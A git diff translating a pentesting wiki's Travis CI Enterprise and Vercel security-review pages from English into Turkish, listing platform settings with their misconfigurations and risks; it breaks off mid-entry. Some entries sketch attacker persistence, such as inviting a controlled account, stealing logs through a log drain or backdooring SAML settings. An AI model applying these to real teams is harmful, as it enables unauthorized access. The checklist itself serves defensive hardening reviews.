CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details. +1. Bir **PostgreSQL11** (veya daha yeni) veritabanı. +2. Bir Kubernetes kümesini dağıtmak için bir altyapı; gerekirse bir sunucu kümesinde veya tek bir makinede dağıtılabilir. +3. Kurulumunuza bağlı olarak, bazı bileşenleri kendi başınıza dağıtmak ve yapılandırmak isteyebilirsiniz, örneğin, RabbitMQ - daha fazla ayrıntı için [Travis CI Enterprise Kurulumu](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) sayfasına bakın. -**TCI Worker requires the following:** +**TCI Worker aşağıdakileri gerektirir:** -1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**. -2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details. +1. **Worker ve bağlı bir derleme görüntüsünü içeren bir docker görüntüsünün dağıtılabileceği** bir altyapı. +2. Belirli Travis CI Temel Hizmetleri bileşenlerine bağlantı - daha fazla ayrıntı için [Worker Kurulumu](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) sayfasına bakın. -The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure. +Dağıtılan TCI Worker ve derleme ortamı OS görüntülerinin sayısı, altyapınızdaki Travis CI Enterprise dağıtımının toplam eşzamanlı kapasitesini belirleyecektir. ![](<../../images/image (199).png>) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 16dc93da7..c57a36155 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -2,440 +2,439 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**. +Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, bir **uygulama**dır. -For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also). +**Vercel** için bir güvenlik incelemesi yapmak istiyorsanız, kontrol etmek için **Görüntüleyici rol izni** olan bir kullanıcı talep etmeniz veya en azından **Projeye ait görüntüleyici izni** almanız gerekir (eğer sadece projeleri kontrol etmeniz gerekiyorsa ve Ekip yapılandırmasını kontrol etmenize gerek yoksa). -## Project Settings +## Proje Ayarları -### General +### Genel -**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations. +**Amaç:** Proje adı, çerçeve ve derleme yapılandırmaları gibi temel proje ayarlarını yönetmek. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: - **Transfer** - - **Misconfiguration:** Allows to transfer the project to another team - - **Risk:** An attacker could steal the project -- **Delete Project** - - **Misconfiguration:** Allows to delete the project - - **Risk:** Delete the prject +- **Yanlış Yapılandırma:** Projeyi başka bir ekibe aktarmaya izin verir +- **Risk:** Bir saldırgan projeyi çalabilir +- **Proje Sil** +- **Yanlış Yapılandırma:** Projeyi silmeye izin verir +- **Risk:** Projeyi silmek --- -### Domains +### Alan Adları -**Purpose:** Manage custom domains, DNS settings, and SSL configurations. +**Amaç:** Özel alan adlarını, DNS ayarlarını ve SSL yapılandırmalarını yönetmek. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **DNS Configuration Errors** - - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers. - - **Risk:** Domain hijacking, traffic interception, and phishing attacks. -- **SSL/TLS Certificate Management** - - **Misconfiguration:** Using weak or expired SSL/TLS certificates. - - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality. -- **DNSSEC Implementation** - - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings. - - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks. -- **Environment used per domain** - - **Misconfiguration:** Change the environment used by the domain in production. - - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production. +- **DNS Yapılandırma Hataları** +- **Yanlış Yapılandırma:** Kötü niyetli sunuculara işaret eden yanlış DNS kayıtları (A, CNAME). +- **Risk:** Alan adı kaçırma, trafik kesintisi ve kimlik avı saldırıları. +- **SSL/TLS Sertifika Yönetimi** +- **Yanlış Yapılandırma:** Zayıf veya süresi dolmuş SSL/TLS sertifikalarının kullanılması. +- **Risk:** Ortadaki adam (MITM) saldırılarına karşı savunmasızlık, veri bütünlüğü ve gizliliğin tehlikeye girmesi. +- **DNSSEC Uygulaması** +- **Yanlış Yapılandırma:** DNSSEC'i etkinleştirmemek veya yanlış DNSSEC ayarları. +- **Risk:** DNS sahtekarlığı ve önbellek zehirlenmesi saldırılarına karşı artan hassasiyet. +- **Her alan için kullanılan ortam** +- **Yanlış Yapılandırma:** Üretimde alan tarafından kullanılan ortamı değiştirmek. +- **Risk:** Üretimde mevcut olmaması gereken potansiyel sırların veya işlevlerin açığa çıkması. --- -### Environments +### Ortamlar -**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables. +**Amaç:** Belirli ayarlar ve değişkenlerle farklı ortamları (Geliştirme, Önizleme, Üretim) tanımlamak. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Environment Isolation** - - **Misconfiguration:** Sharing environment variables across environments. - - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure. -- **Access to Sensitive Environments** - - **Misconfiguration:** Allowing broad access to production environments. - - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches. +- **Ortam İzolasyonu** +- **Yanlış Yapılandırma:** Ortamlar arasında ortam değişkenlerini paylaşmak. +- **Risk:** Üretim sırlarının geliştirme veya önizleme ortamlarına sızması, maruziyeti artırır. +- **Hassas Ortamlara Erişim** +- **Yanlış Yapılandırma:** Üretim ortamlarına geniş erişime izin vermek. +- **Risk:** Yetkisiz değişiklikler veya canlı uygulamalara erişim, potansiyel kesintilere veya veri ihlallerine yol açabilir. --- -### Environment Variables +### Ortam Değişkenleri -**Purpose:** Manage environment-specific variables and secrets used by the application. +**Amaç:** Uygulama tarafından kullanılan ortam spesifik değişkenleri ve sırları yönetmek. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. -- **Shared Environment Variables** - - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Hassas Değişkenlerin Açığa Çıkması** +- **Yanlış Yapılandırma:** Hassas değişkenleri `NEXT_PUBLIC_` ile öneklemek, bunları istemci tarafında erişilebilir hale getirir. +- **Risk:** API anahtarlarının, veritabanı kimlik bilgilerinin veya diğer hassas verilerin kamuya açılması, veri ihlallerine yol açar. +- **Hassas devre dışı** +- **Yanlış Yapılandırma:** Devre dışı bırakıldığında (varsayılan) üretilen sırların değerlerini okumak mümkündür. +- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması. +- **Paylaşılan Ortam Değişkenleri** +- **Yanlış Yapılandırma:** Bunlar Ekip seviyesinde ayarlanan ortam değişkenleridir ve hassas bilgiler içerebilir. +- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması. --- ### Git -**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers. +**Amaç:** Git depo entegrasyonlarını, dal korumalarını ve dağıtım tetikleyicilerini yapılandırmak. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Ignored Build Step (TODO)** - - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE. - - **Risk:** TBD +- **Göz ardı Edilen Derleme Adımı (TODO)** +- **Yanlış Yapılandırma:** Bu seçeneğin, Github'a yeni bir commit gönderildiğinde çalıştırılacak bir bash scripti/komutları yapılandırmaya izin verdiği görünmektedir, bu da RCE'ye izin verebilir. +- **Risk:** TBD --- -### Integrations +### Entegrasyonlar -**Purpose:** Connect third-party services and tools to enhance project functionalities. +**Amaç:** Proje işlevselliğini artırmak için üçüncü taraf hizmetler ve araçlarla bağlantı kurmak. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Insecure Third-Party Integrations** - - **Misconfiguration:** Integrating with untrusted or insecure third-party services. - - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations. -- **Over-Permissioned Integrations** - - **Misconfiguration:** Granting excessive permissions to integrated services. - - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions. -- **Lack of Integration Monitoring** - - **Misconfiguration:** Failing to monitor and audit third-party integrations. - - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches. +- **Güvensiz Üçüncü Taraf Entegrasyonları** +- **Yanlış Yapılandırma:** Güvenilmeyen veya güvensiz üçüncü taraf hizmetlerle entegrasyon. +- **Risk:** Kompromize entegrasyonlar aracılığıyla zafiyetler, veri sızıntıları veya arka kapılar eklenmesi. +- **Aşırı İzinli Entegrasyonlar** +- **Yanlış Yapılandırma:** Entegre hizmetlere aşırı izinler vermek. +- **Risk:** Proje kaynaklarına yetkisiz erişim, veri manipülasyonu veya hizmet kesintileri. +- **Entegrasyon İzleme Eksikliği** +- **Yanlış Yapılandırma:** Üçüncü taraf entegrasyonları izlemeyi ve denetlemeyi ihmal etmek. +- **Risk:** Kompromize entegrasyonların gecikmeli tespiti, güvenlik ihlallerinin potansiyel etkisini artırır. --- -### Deployment Protection +### Dağıtım Koruması -**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments. +**Amaç:** Dağıtımları çeşitli koruma mekanizmalarıyla güvence altına almak, kimlerin ortamlarınıza erişebileceğini ve dağıtım yapabileceğini kontrol etmek. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -**Vercel Authentication** +**Vercel Kimlik Doğrulaması** -- **Misconfiguration:** Disabling authentication or not enforcing team member checks. -- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse. +- **Yanlış Yapılandırma:** Kimlik doğrulamayı devre dışı bırakmak veya ekip üyesi kontrollerini zorunlu kılmamak. +- **Risk:** Yetkisiz kullanıcılar dağıtımlara erişebilir, bu da veri ihlallerine veya uygulama kötüye kullanımına yol açar. -**Protection Bypass for Automation** +**Otomasyon için Koruma Atlatma** -- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets. -- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments. +- **Yanlış Yapılandırma:** Atlatma sırrını kamuya açmak veya zayıf sırlar kullanmak. +- **Risk:** Saldırganlar dağıtım korumalarını atlatabilir, korunan dağıtımlara erişebilir ve bunları manipüle edebilir. -**Shareable Links** +**Paylaşılabilir Bağlantılar** -- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links. -- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions. +- **Yanlış Yapılandırma:** Bağlantıları kayıtsızca paylaşmak veya eski bağlantıları iptal etmemek. +- **Risk:** Korunan dağıtımlara yetkisiz erişim, kimlik doğrulama ve IP kısıtlamalarını atlatma. -**OPTIONS Allowlist** +**OPTIONS İzin Listesi** -- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints. -- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks. +- **Yanlış Yapılandırma:** Aşırı geniş yolları veya hassas uç noktaları izin listesine almak. +- **Risk:** Saldırganlar, yetkisiz eylemler gerçekleştirmek veya güvenlik kontrollerini atlatmak için korunmasız yolları istismar edebilir. -**Password Protection** +**Şifre Koruması** -- **Misconfiguration:** Using weak passwords or sharing them insecurely. -- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Yanlış Yapılandırma:** Zayıf şifreler kullanmak veya bunları güvensiz bir şekilde paylaşmak. +- **Risk:** Şifreler tahmin edilirse veya sızdırılırsa dağıtımlara yetkisiz erişim. -**Deployment Protection Exceptions** +**Not:** **Gelişmiş Dağıtım Koruması** kapsamında **Pro** planında mevcuttur, ek olarak aylık 150 $. -- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently. -- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +**Dağıtım Koruma İstisnaları** -**Trusted IPs** +- **Yanlış Yapılandırma:** Üretim veya hassas alan adlarını yanlışlıkla istisna listesine eklemek. +- **Risk:** Kritik dağıtımların kamuya açılması, veri sızıntılarına veya yetkisiz erişime yol açabilir. -- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges. -- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access. -- **Note:** Available on the **Enterprise** plan. +**Not:** **Gelişmiş Dağıtım Koruması** kapsamında **Pro** planında mevcuttur, ek olarak aylık 150 $. + +**Güvenilir IP'ler** + +- **Yanlış Yapılandırma:** IP adreslerini veya CIDR aralıklarını yanlış belirtmek. +- **Risk:** Meşru kullanıcıların engellenmesi veya yetkisiz IP'lerin erişim kazanması. + +**Not:** **Kurumsal** planda mevcuttur. --- -### Functions +### Fonksiyonlar -**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies. +**Amaç:** Sunucusuz fonksiyonları, çalışma zamanı ayarlarını, bellek tahsisini ve güvenlik politikalarını yapılandırmak. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Nothing** +- **Hiçbiri** --- -### Data Cache +### Veri Önbelleği -**Purpose:** Manage caching strategies and settings to optimize performance and control data storage. +**Amaç:** Performansı optimize etmek ve veri depolamasını kontrol etmek için önbellekleme stratejilerini ve ayarlarını yönetmek. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Purge Cache** - - **Misconfiguration:** It allows to delete all the cache. - - **Risk:** Unauthorized users deleting the cache leading to a potential DoS. +- **Önbelleği Temizle** +- **Yanlış Yapılandırma:** Tüm önbelleği silmeye izin verir. +- **Risk:** Yetkisiz kullanıcıların önbelleği silmesi, potansiyel bir DoS'a yol açar. --- -### Cron Jobs +### Cron Görevleri -**Purpose:** Schedule automated tasks and scripts to run at specified intervals. +**Amaç:** Belirli aralıklarla otomatik görevler ve scriptler planlamak. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Disable Cron Job** - - **Misconfiguration:** It allows to disable cron jobs declared inside the code - - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for) +- **Cron Görevini Devre Dışı Bırak** +- **Yanlış Yapılandırma:** Kod içinde tanımlanan cron görevlerini devre dışı bırakmaya izin verir. +- **Risk:** Hizmetin kesintiye uğraması (cron görevlerinin ne amaçla kullanıldığına bağlı olarak). --- ### Log Drains -**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing. +**Amaç:** İzleme ve denetleme için uygulama günlüklerini yakalamak ve depolamak üzere dış günlükleme hizmetlerini yapılandırmak. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- Nothing (managed from teams settings) +- Hiçbiri (takım ayarlarından yönetilir) --- -### Security +### Güvenlik -**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more. +**Amaç:** Proje erişimini, kaynak korumasını ve daha fazlasını etkileyen çeşitli güvenlik ile ilgili ayarlar için merkezi bir merkez. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -**Build Logs and Source Protection** +**Derleme Günlükleri ve Kaynak Koruması** -- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly. -- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities. +- **Yanlış Yapılandırma:** Korumayı devre dışı bırakmak veya `/logs` ve `/src` yollarını kamuya açmak. +- **Risk:** Derleme günlüklerine ve kaynak koduna yetkisiz erişim, bilgi sızıntılarına ve potansiyel zafiyetlerin istismarına yol açar. -**Git Fork Protection** +**Git Fork Koruması** -- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews. -- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors. +- **Yanlış Yapılandırma:** Uygun incelemeler olmadan yetkisiz çekme isteklerine izin vermek. +- **Risk:** Kötü niyetli kod, kod tabanına birleştirilebilir, zafiyetler veya arka kapılar eklenebilir. -**Secure Backend Access with OIDC Federation** +**OIDC Federasyonu ile Güvenli Arka Uç Erişimi** -- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs. -- **Risk:** Unauthorized access to backend services through flawed authentication flows. +- **Yanlış Yapılandırma:** OIDC parametrelerini yanlış ayarlamak veya güvensiz verici URL'leri kullanmak. +- **Risk:** Hatalı kimlik doğrulama akışları aracılığıyla arka uç hizmetlerine yetkisiz erişim. -**Deployment Retention Policy** +**Dağıtım Saklama Politikası** -- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention). -- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments. +- **Yanlış Yapılandırma:** Saklama sürelerini çok kısa (dağıtım geçmişini kaybetmek) veya çok uzun (gereksiz veri saklama) ayarlamak. +- **Risk:** Gerekli olduğunda geri alma yapamama veya eski dağıtımlardan veri açığa çıkma riskinin artması. -**Recently Deleted Deployments** +**Son Zamanlarda Silinen Dağıtımlar** -- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions. -- **Risk:** Loss of critical deployment history, hindering audits and rollbacks. +- **Yanlış Yapılandırma:** Silinen dağıtımları izlememek veya yalnızca otomatik silmelere güvenmek. +- **Risk:** Kritik dağıtım geçmişinin kaybı, denetimleri ve geri alımları engeller. --- -### Advanced +### Gelişmiş -**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security. +**Amaç:** Yapılandırmaları ince ayar yapmak ve güvenliği artırmak için ek proje ayarlarına erişim. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -**Directory Listing** +**Dizin Listeleme** -- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file. -- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks. +- **Yanlış Yapılandırma:** Dizin listelemeyi etkinleştirmek, kullanıcıların dizin içeriğini bir dizin dosyası olmadan görüntülemesine izin verir. +- **Risk:** Hassas dosyaların, uygulama yapısının ve saldırılar için potansiyel giriş noktalarının açığa çıkması. --- -## Project Firewall +## Proje Güvenlik Duvarı -### Firewall +### Güvenlik Duvarı -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -**Enable Attack Challenge Mode** +**Saldırı Zorlama Modunu Etkinleştir** -- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability -- **Risk:** Potential user experience problems. +- **Yanlış Yapılandırma:** Bunu etkinleştirmek, web uygulamasının DoS'a karşı savunmalarını artırır ancak kullanılabilirlikten ödün verir. +- **Risk:** Potansiyel kullanıcı deneyimi sorunları. -### Custom Rules & IP Blocking +### Özel Kurallar ve IP Engelleme -- **Misconfiguration:** Allows to unblock/block traffic -- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic +- **Yanlış Yapılandırma:** Trafiği engelleme/açma izni verir. +- **Risk:** Kötü niyetli trafiğe izin verme veya masum trafiği engelleme potansiyeli. --- -## Project Deployment +## Proje Dağıtımı -### Source +### Kaynak -- **Misconfiguration:** Allows access to read the complete source code of the application -- **Risk:** Potential exposure of sensitive information +- **Yanlış Yapılandırma:** Uygulamanın tam kaynak kodunu okumaya erişim sağlar. +- **Risk:** Hassas bilgilerin potansiyel açığa çıkması. -### Skew Protection +### Eşitsizlik Koruması -- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other. -- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future +- **Yanlış Yapılandırma:** Bu koruma, istemci ve sunucu uygulamasının her zaman aynı sürümü kullanmasını sağlar, böylece istemcinin sunucudan farklı bir sürüm kullanması ve dolayısıyla birbirlerini anlamamaları durumu oluşmaz. +- **Risk:** Bunu devre dışı bırakmak (eğer etkinse) gelecekteki yeni dağıtımlarda DoS sorunlarına yol açabilir. --- -## Team Settings +## Ekip Ayarları -### General +### Genel -#### Security Configurations: +#### Güvenlik Yapılandırmaları: - **Transfer** - - **Misconfiguration:** Allows to transfer all the projects to another team - - **Risk:** An attacker could steal the projects -- **Delete Project** - - **Misconfiguration:** Allows to delete the team with all the projects - - **Risk:** Delete the projects +- **Yanlış Yapılandırma:** Tüm projeleri başka bir ekibe aktarmaya izin verir. +- **Risk:** Bir saldırgan projeleri çalabilir. +- **Proje Sil** +- **Yanlış Yapılandırma:** Tüm projelerle birlikte ekibi silmeye izin verir. +- **Risk:** Projeleri silmek. --- -### Billing +### Faturalama -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Speed Insights Cost Limit** - - **Misconfiguration:** An attacker could increase this number - - **Risk:** Increased costs +- **Hız İçgörüleri Maliyet Limiti** +- **Yanlış Yapılandırma:** Bir saldırgan bu sayıyı artırabilir. +- **Risk:** Artan maliyetler. --- -### Members +### Üyeler -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Add members** - - **Misconfiguration:** An attacker could maintain persitence inviting an account he control - - **Risk:** Attacker persistence -- **Roles** - - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) - - **Risk**: Increate the exposure of the Vercel Team +- **Üye Ekle** +- **Yanlış Yapılandırma:** Bir saldırgan, kontrol ettiği bir hesabı davet ederek kalıcılık sağlayabilir. +- **Risk:** Saldırgan kalıcılığı. +- **Roller** +- **Yanlış Yapılandırma:** İhtiyaç duymayan kişilere fazla izin vermek, Vercel yapılandırma riskini artırır. Tüm olası rolleri kontrol edin [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles). +- **Risk:** Vercel Ekibinin maruziyetini artırmak. --- -### Access Groups +### Erişim Grupları -An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects. +Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamalarıyla birlikte projelerin ve ekip üyelerinin bir koleksiyonudur ve çoklu projeler arasında merkezi ve akıcı erişim yönetimi sağlar. -**Potential Misconfigurations:** +**Potansiyel Yanlış Yapılandırmalar:** -- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions. -- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation. -- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended. -- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions. -- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps. +- **Aşırı İzin Verme:** Gereğinden fazla izinle rol atamak, yetkisiz erişim veya eylemlere yol açabilir. +- **Yanlış Rol Atamaları:** Ekip üyelerinin sorumluluklarıyla uyumlu olmayan rollerin yanlış atanması, ayrıcalıkların yükselmesine neden olabilir. +- **Proje Ayrımı Eksikliği:** Hassas projeleri ayırmamak, istenenden daha geniş erişime izin verir. +- **Yetersiz Grup Yönetimi:** Erişim Gruplarını düzenli olarak gözden geçirmemek veya güncellemeler yapmamak, güncel olmayan veya uygunsuz erişim izinlerine yol açar. +- **Tutarsız Rol Tanımları:** Farklı Erişim Grupları arasında tutarsız veya belirsiz rol tanımları kullanmak, kafa karışıklığına ve güvenlik açıklarına yol açar. --- ### Log Drains -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Log Drains to third parties:** - - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs - - **Risk:** Partial persistence +- **Üçüncü taraflara Log Drains:** +- **Yanlış Yapılandırma:** Bir saldırgan, günlükleri çalmak için bir Log Drain yapılandırabilir. +- **Risk:** Kısmi kalıcılık. --- -### Security & Privacy +### Güvenlik ve Gizlilik -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard. - - **Misconfiguration:** - - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting. - - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain. - - **Risks:** - - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team. - - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals. -- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access. - - **Misconfiguration:** Not adding critical Git scopes to the protected list. -- **Risks:** - - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization. - - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team. -- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system. - - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled. - - **Risks:** - - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members. - - **Data Breach:** Sensitive information like API keys and credentials could be leaked. -- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members. - - **Misconfiguration:**\ - Granting access to audit logs to unauthorized team members. - - **Risks:** - - **Privacy Violations:** Exposure of sensitive user activities and data. - - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks. -- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management. - - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints. - - **Risk:** Maintain persistence -- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains. - - **Misconfiguration:** Leaving IP address visibility enabled without necessity. - - **Risks:** - - **Privacy Violations:** Non-compliance with data protection regulations like GDPR. - - **Legal Repercussions:** Potential fines and penalties for mishandling personal data. -- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing. - - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic. - - **Risks:** - - **Service Denial to Legitimate Users:** Blocking access for valid users or partners. - - **Operational Disruptions:** Loss of service availability for certain regions or clients. +- **Ekip E-posta Alanı:** Yapılandırıldığında, bu ayar, belirtilen alanla (örneğin, `mydomain.com`) biten e-posta adreslerine sahip Vercel Kişisel Hesaplarını otomatik olarak davet eder. +- **Yanlış Yapılandırma:** +- Yanlış e-posta alanı belirtmek veya Ekip E-posta Alanı ayarında yanlış yazılmış bir alan kullanmak. +- Şirket spesifik bir alan yerine yaygın bir e-posta alanı (örneğin, `gmail.com`, `hotmail.com`) kullanmak. +- **Riskler:** +- **Yetkisiz Erişim:** İstenmeyen alanlardan e-posta adreslerine sahip kullanıcılar, ekibinize katılmak için davet alabilir. +- **Veri Açığı:** Hassas proje bilgilerini yetkisiz bireylere açma potansiyeli. +- **Korunan Git Kapsamları:** Korunan kapsamdan diğer Vercel ekiplerinin depo dağıtımını önlemek için ekibinize 5'e kadar Git kapsamı eklemenize izin verir. Birden fazla ekip aynı kapsamı belirtebilir, her iki ekibin de erişimi olur. +- **Yanlış Yapılandırma:** Kritik Git kapsamlarını korunan listeye eklememek. +- **Riskler:** +- **Yetkisiz Dağıtımlar:** Diğer ekipler, kuruluşunuzun Git kapsamlarından yetkisiz olarak depo dağıtabilir. +- **Fikri Mülkiyet Açığı:** Sahip kod, ekibinizin dışında dağıtılabilir ve erişilebilir. +- **Ortam Değişkeni Politikaları:** Ekibin ortam değişkenlerinin oluşturulması ve düzenlenmesi için politikaları zorunlu kılar. Özellikle, tüm ortam değişkenlerinin yalnızca Vercel'in dağıtım sistemi tarafından şifrelenebilen **Hassas Ortam Değişkenleri** olarak oluşturulmasını zorunlu kılabilirsiniz. +- **Yanlış Yapılandırma:** Hassas ortam değişkenlerinin zorunlu kılınmasını devre dışı bırakmak. +- **Riskler:** +- **Sırların Açığa Çıkması:** Ortam değişkenleri, yetkisiz ekip üyeleri tarafından görüntülenebilir veya düzenlenebilir. +- **Veri İhlali:** API anahtarları ve kimlik bilgileri gibi hassas bilgilerin sızdırılması. +- **Denetim Günlüğü:** Ekibin etkinliğinin son 90 güne kadar bir dışa aktarımını sağlar. Denetim günlükleri, ekip üyeleri tarafından gerçekleştirilen eylemleri izlemeye ve takip etmeye yardımcı olur. +- **Yanlış Yapılandırma:**\ +Yetkisiz ekip üyelerine denetim günlüklerine erişim izni vermek. +- **Riskler:** +- **Gizlilik İhlalleri:** Hassas kullanıcı etkinliklerinin ve verilerin açığa çıkması. +- **Günlüklerle Oynama:** Kötü niyetli aktörler, izlerini örtmek için günlükleri değiştirebilir veya silebilir. +- **SAML Tek Oturum Açma:** Ekibiniz için SAML kimlik doğrulamasını ve dizin senkronizasyonunu özelleştirmenize olanak tanır, merkezi kimlik doğrulama ve kullanıcı yönetimi için bir Kimlik Sağlayıcısı (IdP) ile entegrasyon sağlar. +- **Yanlış Yapılandırma:** Bir saldırgan, SAML parametrelerini (örneğin, Varlık Kimliği, 